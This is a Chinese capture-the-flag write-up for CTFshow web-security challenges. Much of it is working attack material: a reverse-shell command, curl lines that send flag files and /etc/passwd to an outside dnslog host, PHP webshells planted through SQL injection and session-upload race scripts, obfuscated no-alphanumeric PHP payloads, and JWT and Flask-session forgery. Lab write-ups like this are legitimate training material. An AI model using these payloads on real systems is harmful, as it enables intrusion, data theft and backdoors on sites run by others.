CTFshow web应用安全与防护
# 第一章
# Base64编码隐藏
登录密码在html源码里写死,base64解码
# HTTP头注入
使用源码里的密码登录,提示需要使用指定的ua头
# Base64多层嵌套解码
前端验证逻辑
document.getElementById('loginForm').addEventListener('submit', function(e) {
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
const enteredPassword = document.getElementById('password').value;
const messageElement = document.getElementById('message');
if (!validatePassword(enteredPassword)) {
e.preventDefault();
messageElement.textContent = "Login failed! Incorrect password.";
messageElement.className = "message error";
}
});
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
加密逻辑:
btoa(input)
→ Base64 编码原始密码。
btoa(encoded + 'xH7jK').slice(3)
→ 拼接固定字符串,再编码并截取。
btoa(反转字符串)
→ 反转并 Base64 编码。
btoa('aB3' + encoded + 'qW9').substr(2)
→ 拼接固定头尾,再编码并截取。
btoa(encoded) === correctPassword
→再base64, 最终比对。
逆向解密:
base64解码
解码后的字符串前面爆破两个字符串,再尝试base64解码,要得到
aB3
+encoded+qW9
的格式再次base64解码,反转
尝试开头爆破3个字符串,base64解码得到以
xH7jk
结尾的一次base64编码内容base64解码,得到最终用户应该输入的密码
import base64 import itertools import string import requests # 加密函数 def encrypt(password): s = base64.b64encode(password.encode()).decode() s = base64.b64encode((s + 'xH7jK').encode()).decode()[3:] s = base64.b64encode(s[::-1].encode()).decode() s = base64.b64encode(f'aB3{s}qW9'.encode()).decode()[2:] return base64.b64encode(s.encode()).decode() # 爆破前缀函数 def brute_prefix(target_b64, start_marker='', end_marker='', prefix_len=2, charset=None): charset = charset or string.ascii_letters + string.digits for prefix in itertools.product(charset, repeat=prefix_len): candidate = ''.join(prefix) + target_b64 try: decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore') if decoded.startswith(start_marker) and decoded.endswith(end_marker): return ''.join(prefix), decoded except Exception: continue return None, None # 初始 Base64 字符串 fuck_str = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=" re_step5 = base64.b64decode(fuck_str.encode()) # Step 1: 爆破前缀找到 aB3 ... qW9 prefix1, step3 = brute_prefix(re_step5.decode(), start_marker='aB3', end_marker='qW9', prefix_len=2) if not step3: print("❌ 未找到匹配前缀1") exit() step3_inner = step3[3:-3] step2 = base64.b64decode(step3_inner).decode()[::-1] # Step 2: 爆破前缀找到最终密码 chars_plus = string.ascii_letters + string.digits + '+' final_password = None for prefix2 in itertools.product(chars_plus, repeat=3): prefix_str2 = ''.join(prefix2) candidate = prefix_str2 + step2 try: decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore') if decoded.endswith('xH7jK'): temp_pass = base64.b64decode(decoded[:-5]).decode() if encrypt(temp_pass) == fuck_str: final_password = temp_pass print(f"✅ 找到密码: {final_password}") break except Exception: continue if not final_password: print("❌ 未找到最终密码") exit() # Step 3: 使用 requests 验证密码 url = "http://2f7feaf3-cd7e-42a1-9663-9015fbf403c2.challenge.ctf.show/check.php" headers = {"User-Agent": "ctf-show-brower"} data = {"username": "admin", "password": final_password} resp = requests.post(url, headers=headers, data=data) if "Login failed! Incorrect password." not in resp.text: print(f"✅ 密码验证成功!正确密码: {final_password}") # print(resp.text) else: print("❌ 密码验证失败")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# HTTPS中间人攻击
下载附件解压,一个ssllog.txt,一个流量包
wireshark打开流量包看不到内容,https流量加密了,需要使用ssllog.txt这个附件密钥解密
具体操作参考文章[Wireshark抓包工具解析HTTPS包 (opens new window)](https://www.cnblogs.com/CodeReaper/p/16007397.html)
编辑》首选项》protocols》tls
导入密钥后可以看到http明文流量了
# Cookie伪造
弱密码guest/guest成功登录
在cookie里有role=guest的值,修改为admin,拿到flag
# 第二章
# 一句话木马变形
测试发现不能含有空格,引号,一般🐎子g了,好像只能函数无参rce
POST:code=eval(array_pop(next(get_defined_vars())));&1=phpinfo();
# 反弹shell构造
无回显命令执行
公网服务器监听
nc -lvnp 4444
靶机反弹shell
nc -e /bin/sh 公网服务器ip 4444
没有公网服务器,可以试试dnslog、weblog,直接外带
平台推荐【dnslog/weblog】 (opens new window),参考往期文章【使用weblog平台接收无回报RCE命令执行结果】 (opens new window)
code=curl 219tzymz.eyes.sh -X POST -d "1=`cat f*;cat /f*`"
或者写webshell
code=echo "<?php highlight_file(__FILE__);eval($_GET[1]);?>" > 1.php
# 管道符绕过过滤
这里题目环境类似下面,考察linux shell环境怎么一句话执行多个命令
<?php
$cmd = $_GET['code'];
system("ls $cmd");
2
3
可以使用;
、||
、&&
等管道符来分割多条命令,这样一句话就可以执行多条命令
;
(顺序执行,不管对错)
||
(逻辑或,前一个失败才执行后一个)
&&
(逻辑与,前一个成功才执行后一个)
好,知道了上面3点,看看下面命令如何执行
ls;whoami
ls||whoami
ls&&whoami
2
3
1,3成功执行两条命令,2命令只执行了ls
提示
为什么payload使用&&whoami
也只执行了ls
命令?,&
在传参过程有特殊语义,需要url编码一下
那么查看flag
ls;tac f*
# 无字母数字代码执行
随便输入点什么,后端报错,使用的eval
来执行字符
用ai简单写了一个纯前端payload生成页面无字母数字代码执行payload生成 (opens new window),实现细节参考PHP无字母数字RCE 或、异或、取反实现 (opens new window)
几种方式实现的payload
# payload:assert("eval($_POST[1]);");
# 取反
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
# 异或
(('%bf'^'%de').('%bf'^'%cc').('%bf'^'%cc').('%bf'^'%da').('%bf'^'%cd').('%bf'^'%cb'))(('%bf'^'%da').('%bf'^'%c9').('%bf'^'%de').('%bf'^'%d3').('%df'^'%f7').('%df'^'%fb').('%bf'^'%e0').('%bf'^'%ef').('%bf'^'%f0').('%bf'^'%ec').('%bf'^'%eb').('%bf'^'%e4').('%df'^'%ee').('%bf'^'%e2').('%df'^'%f6').('%df'^'%e4'));
# 或
(('%61'|'%61').('%73'|'%73').('%73'|'%73').('%65'|'%65').('%72'|'%72').('%74'|'%74'))(('%65'|'%65').('%76'|'%76').('%61'|'%61').('%6c'|'%6c').('%28'|'%28').('%24'|'%24').('%5f'|'%5f').('%50'|'%50').('%4f'|'%4f').('%53'|'%53').('%54'|'%54').('%5b'|'%5b').('%31'|'%31').('%5d'|'%5d').('%29'|'%29'));
2
3
4
5
6
7
生成的payload要使用burp
发送
# 无字母数字命令执行
这道题是命令执行,无字母、数字,无回显,尝试外带或者反弹shell,在上传写入webshell时,文件是空的比较奇怪
使用了linux下 . file
执行文件内容的特性
由于不确定seesion文件路径
import requests
import threading
import time
import signal
import sys
# 靶机链接
url = 'http://a9dbdc84-611d-455a-9f9e-c7b8dc599cdf.challenge.ctf.show/'
shell_url = url + "44.txt"
sessionid = 'cnmusa'
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ls > 44.txt;curl -X POST http://219tzymz.eyes.sh -d "1=`cat /etc/passwd;cat /var/www/html/*;cat /f*`"',
}
file = {
'file': sessionid
}
cookies = {
'PHPSESSID': sessionid
}
# 常见 session 文件路径列表
# session_paths = [
# f"/var/lib/php/sess_{sessionid}",
# f"/var/lib/php/sessions/sess_{sessionid}",
# f"/tmp/sess_{sessionid}",
# f"/tmp/sessions/sess_{sessionid}"
# ]
str_len = len(sessionid)
payload = "?"*str_len
session_paths = [
f". /???/???/???/????_{payload}",
f". /???/???/???/????????/????_{payload}",
f". /???/????_{payload}",
f". /???/????????/????_{payload}"
]
# 全局停止事件
stop_event = threading.Event()
def upload_file():
while not stop_event.is_set():
try:
requests.post(url, data=data, files=file, cookies=cookies, timeout=3)
except requests.RequestException:
pass
# time.sleep(1)
def check_file():
while not stop_event.is_set():
try:
# 尝试所有常见 session 文件路径
for path in session_paths:
print(f"Trying path: {path}")
requests.post(url, data={"code": path}, timeout=3)
r = requests.get(shell_url, timeout=3)
if r.status_code == 200:
print('Webshell created successfully')
print(r.text)
stop_event.set() # 文件创建成功,通知所有线程退出
break
else:
print(f"{r.status_code}")
except requests.RequestException:
pass
# time.sleep(1)
# Ctrl+C 捕获处理
def signal_handler(sig, frame):
print("\nCtrl+C 捕获,正在退出...")
stop_event.set()
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
# 启动线程
threads = []
for _ in range(5):
t = threading.Thread(target=upload_file, daemon=True)
t.start()
threads.append(t)
for _ in range(15):
t = threading.Thread(target=check_file, daemon=True)
t.start()
threads.append(t)
# 主线程等待事件
try:
while not stop_event.is_set():
time.sleep(0.5)
except KeyboardInterrupt:
stop_event.set()
for t in threads:
t.join()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# 第三章
# 日志文件包含
nginx访问日志路径:/var/log/nginx/access.log
包含nginx日志,控制ua头内容,放入php代码。执行命令,日志文件内容太多了,把flag写到新文件里查看
# php://filter读取源码
伪协议读取index.php源码
file=php://filter/convert.base64-encode/resource=index.php
base64解码,发现可疑文件db.php
,再用伪协议读取db.php
base64解码db.php
内容,拿到flag
# 远程文件包含(RFI)
包含远程服务器上的webshell文本内容
在博客上放了一个txt文件,方便直接文件包含
<?php highlight_file(__FILE__);eval($_GET[1]);?>
# 路径遍历突破
path=index.php
读取index.php源码
- 禁止日志、各种协议
:/
- 禁止
/
,../
开头 - flag在/flag.txt
<?php
if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}
#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}
echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
这里要用的路径穿越,如果使用想要回到/
目录,可以使用../../../
一步步往上走,但是这里禁止/
或者../
开头,所以可以尝试在前面添加一个不存在的路径,在寻找文件时,会自动忽略不存在的目录,继续后面的目录穿越操作,最后回到根目录
aaa/../../../../../../../../flag.txt
# 临时文件包含
脚本梭哈
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 第四章
# Session固定攻击
没看懂,登录发送信息就有flag了
# JWT令牌伪造
拿自己的jwt令牌解析一下
{
"alg": "HS256",
"typ": "JWT"
}
{
"user": "admin",
"admin": false
}
2
3
4
5
6
7
8
使用脚本把加密算法伪造为none
伪造脚本
import base64
import json
def b64url_encode(data: bytes) -> str:
"""Base64 URL-safe 编码,去掉填充 ="""
return base64.urlsafe_b64encode(data).decode().rstrip("=")
# Header: alg=none
header = {"alg": "none", "typ": "JWT"}
payload = {"user": 'admin', "admin": "false"} # 你要伪造的用户数据
# 分别编码
header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())
# 拼接 JWT,签名为空
jwt = f"{header_b64}.{payload_b64}."
print("伪造的 JWT:")
print(jwt)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Flask_Session伪造
点击爬取百度,直接加载了一个百度首页,看到url比较可疑
尝试直接读取/etc/passwd
,无果
目录穿越../../../../../../../../../../../../etc/passwd
,无果
尝试file:///etc/passwd
协议,成功
flask
工作目录比较常见的是/app/app.py
,尝试读取源码
源码
# encoding:utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request
app = Flask(__name__)
# 随机生成一个 SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])
app.debug = False
@app.route('/')
def index():
session['username'] = 'guest'
return 'CTFshow 网页爬虫系统 读取网页'
@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.findall('flag', url, re.IGNORECASE):
return '禁止访问'
res = urllib.request.urlopen(url)
return res.read().decode('utf-8', errors='ignore')
except Exception as ex:
print(str(ex))
return '无读取内容可以展示'
@app.route('/flag')
def flag():
if session.get('username') == 'admin':
return open('/flag.txt', encoding='utf-8').read()
else:
return '访问受限'
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
阅读源码可以知道,不允许url里出现flag,出现会鉴权,所以需要伪造admin
session
提示
Python random.random()
是确定性的,种子相同,输出完全相同,只要读取到机器MAC地址,就可以精准计算出密钥
读取机器码
read?url=file:///sys/class/net/eth0/address
拿到机器码02:42:ac:0c:fc:3d
计算密钥SECRET_KEY
import random
mac = int("02:42:ac:0c:fc:3d".replace(":",""),16) # 已知的 MAC 地址
random.seed(mac)
key = str(random.random()*100)
print(key) # 79.43065193591464
2
3
4
5
6
使用【flask-session-cookie-manager】 (opens new window)来伪造seesion
python3 .\flask_session_cookie_manager3.py decode -s "79.43065193591464" -c "eyJ1c2VybmFtZSI6Imd1ZXN0In0.aLg2YA.Bq9NjyH26PAyzl3YjpBKIIgHOVQ"
python3 .\flask_session_cookie_manager3.py encode -s "79.43065193591464" -t "{'username':'admin'}"
2
3
更换session访问/flag
拿到flag
# 弱口令爆破
下载题目提供的字典,导入burp intrude模块爆破密码,尝试admin用户
admin/834100
# 第五章
# 联合查询注入
sqlmap秒了
python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch
available databases [5]:
[*] ctfshow_page_informations
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D --tables
Database: ctfshow_page_informations
[2 tables]
+-------+
| pages |
| users |
+-------+
python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D ctfshow_page_informations --tables -T users --dump
Database: ctfshow_page_informations
Table: users
[1 entry]
+----+----------------------------+----------+
| id | password | username |
+----+----------------------------+----------+
| 1 | CTF{admin_secret_password} | admin |
+----+----------------------------+----------+
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 布尔盲注爆破
username,password都存在sql注入
尝试联合查询写入webshell
虽然页面报错了,但是成功写入到文件里了
写入webshell
password=1' union select 1,2,'<?php eval($_POST[1]);?>' into outfile'/var/www/html/1.txt'%23&username=1
蚁剑连接,找到数据库配置内容
蚁剑连接数据库,查看flag
# 堆叠注入写shell
burp抓包对参数进行fuzz
在 username 值为\
时,页面响应长度出现不同。说明可能转义了 登录查询语句包裹 username 的引号,导致语法错误
可以猜测常见登录语句
<?php
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
2
转义后,$username
的单引号会匹配到 $password
的单引号,最后多出一个单引号,$password
整个值可控,password前已经有了单引号,再使用单引号闭合会语法错误,所以 password位置不需要闭合了,把后面单引号注释掉就可以了
username=\&password=or 1=1#
出现welcome
,登录成功的逻辑,说明存在sql注入
有不同回显,可以用来布尔盲注
可以成功执行sleep函数,存在堆叠注入、时间盲注
username=\&password=or 1=1;select sleep(5)#
现在有三种方式注入
- 布尔盲注
- 时间盲注
- 堆叠注入
那还是布尔盲注快一点,写个脚本,写脚本过程,发现题目过滤了'
单引号,把单引号置空了,双引号还能用
# 写马子
双引号还能用?直接写马子
username=\&password=or 1=1;select "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>" into outfile "/var/www/html/1.php"#
# 布尔盲注
布尔盲注发现数据库里是fake flag
import requests
url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"
flag = ""
i = 0
while True:
i += 1
low, high = 32, 126
while low < high:
mid = (low + high + 1) // 2
# payload = f"or if(ascii(substr((select user()),{i},1))<{mid},1,0)#"
# 爆库
# information_schema,test,mysql,performance_schema,ctfshow_page_informations
# payload = f"or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))<{mid},1,0)#"
# 爆表
# pages,users
# payload = f"or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{mid},1,0)#"
# 爆列
# USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# payload = f"or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\"users\"),{i},1))<{mid},1,0)#"
# 爆users 表 password
# CTF{this_is_a_fake_flag}
# payload = f"or if(ascii(substr((select concat(password) from users),{i},1))<{mid},1,0)#"
data = {"username": "\\", "password": payload}
r = requests.post(url, data=data)
# print(f"[+]payload: {payload}")
if "Welcome" in r.text:
high = mid - 1
else:
low = mid
if low <= 32 or low >= 126:
break
flag += chr(low)
print(f"[+]flag: {flag}")
print(f"[+]flag: {flag}")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
其实整个过程开始以为单双引号都过滤了,所以用的其他方式,并且读到了源码,读美了
- 布尔盲注 + load_file 读取文件
- hex编码、char函数写入webshell
布尔盲注读取文件,属于运气好,猜到flag.txt
文件名了,换个难猜的就必须写🐎了
使用concat
、hex
函数读取文件
import requests
url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"
flag = ""
i = 1
# 文件路径转十六进制
def str2hex(s):
return "0x" + s.encode("utf-8").hex()
file_path = str2hex("/etc/passwd")
# file_path = str2hex("/var/www/html/login.php")
# file_path = str2hex("/flag.txt")
print("[#] LOAD_FILE 路径:", file_path)
def visual_char(c):
"""把特殊字符可视化"""
if c == "\n":
return "\\n"
elif c == "\r":
return "\\r"
elif c == "\t":
return "\\t"
elif ord(c) < 32 or ord(c) > 126:
return f"\\x{ord(c):02x}"
else:
return c
while True:
low, high = 10, 127 # ASCII 可打印和特殊字符范围
while low + 1 < high:
mid = (low + high) // 2
payload = f"or IF(ASCII(SUBSTR(LOAD_FILE({file_path}),{i},1))<{mid},1,0)#"
data = {"username": "\\", "password": payload}
r = requests.post(url, data=data)
if "Welcome" in r.text:
# 条件成立 → 字符 < mid
high = mid
else:
# 条件不成立 → 字符 >= mid
low = mid
# 文件结束检测:LOAD_FILE 返回 NULL 或不可读
if low <= 0:
print("[#] 文件读取结束")
break
c = chr(low)
flag += c
print(f"[+] 当前 flag: {''.join([visual_char(ch) for ch in flag])}")
i += 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
可以读取到/var/www/html/login.php
源码
<?php
error_reporting(0);
include_once("conn.php");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
// 去掉单引号防止 SQL 注入尝试(不安全方式)
$username = str_replace("'", "", $username);
$password = str_replace("'", "", $password);
// SQL 查询
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
if ($conn->multi_query($sql)) {
do {
if ($result = $conn->store_result()) {
if ($result->num_rows > 0) {
session_start();
$_SESSION['username'] = $username;
header("Location: main.php");
exit();
}
$result->free();
}
} while ($conn->more_results() && $conn->next_result());
} else {
echo "<script>alert('Invalid username or password');history.back();</script>";
}
} else {
header("Location: index.php");
exit();
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
使用concat
、char
函数读取文件
import requests
url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"
target = ""
i = 1
# 使用 char 函数绕过引号 读取文件路径
file_path = "/etc/passwd"
# file_path = "/var/www/html/login.php"
# file_path = "/flag.txt"
char_codes = [str(ord(c)) for c in file_path]
path = "CONCAT(CHAR({}))".format(",".join(char_codes))
print("[#] LOAD_FILE 路径:", path)
def visual_char(c):
"""把特殊字符可视化"""
if c == "\n":
return "\\n"
elif c == "\r":
return "\\r"
elif c == "\t":
return "\\t"
elif ord(c) < 32 or ord(c) > 126:
return f"\\x{ord(c):02x}"
else:
return c
while True:
low, high = 10, 126 # 支持换行 (\n) 到可见 ASCII
while low + 1 < high:
mid = (low + high) // 2
payload = f"OR IF(ASCII(SUBSTR(LOAD_FILE({path}),{i},1))<{mid},1,0)#"
data = {"username": "\\", "password": payload}
r = requests.post(url, data=data)
if "Welcome" in r.text:
high = mid
else:
low = mid
# 判断文件结束
if low <= 0:
print("[#] 文件读取结束")
break
c = chr(low)
target += visual_char(c)
print(f"[+] 当前结果: {target}")
i += 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# WAF绕过
不知道过滤了什么,直接写webshell,仍然可行
password=1&username=1'%09union%09select%091,2,'<?=phpinfo();?>'%09into%09outfile'/var/www/html/1.php'%23
写入webshell,蚁剑查看数据库配置,连接数据库,查看flag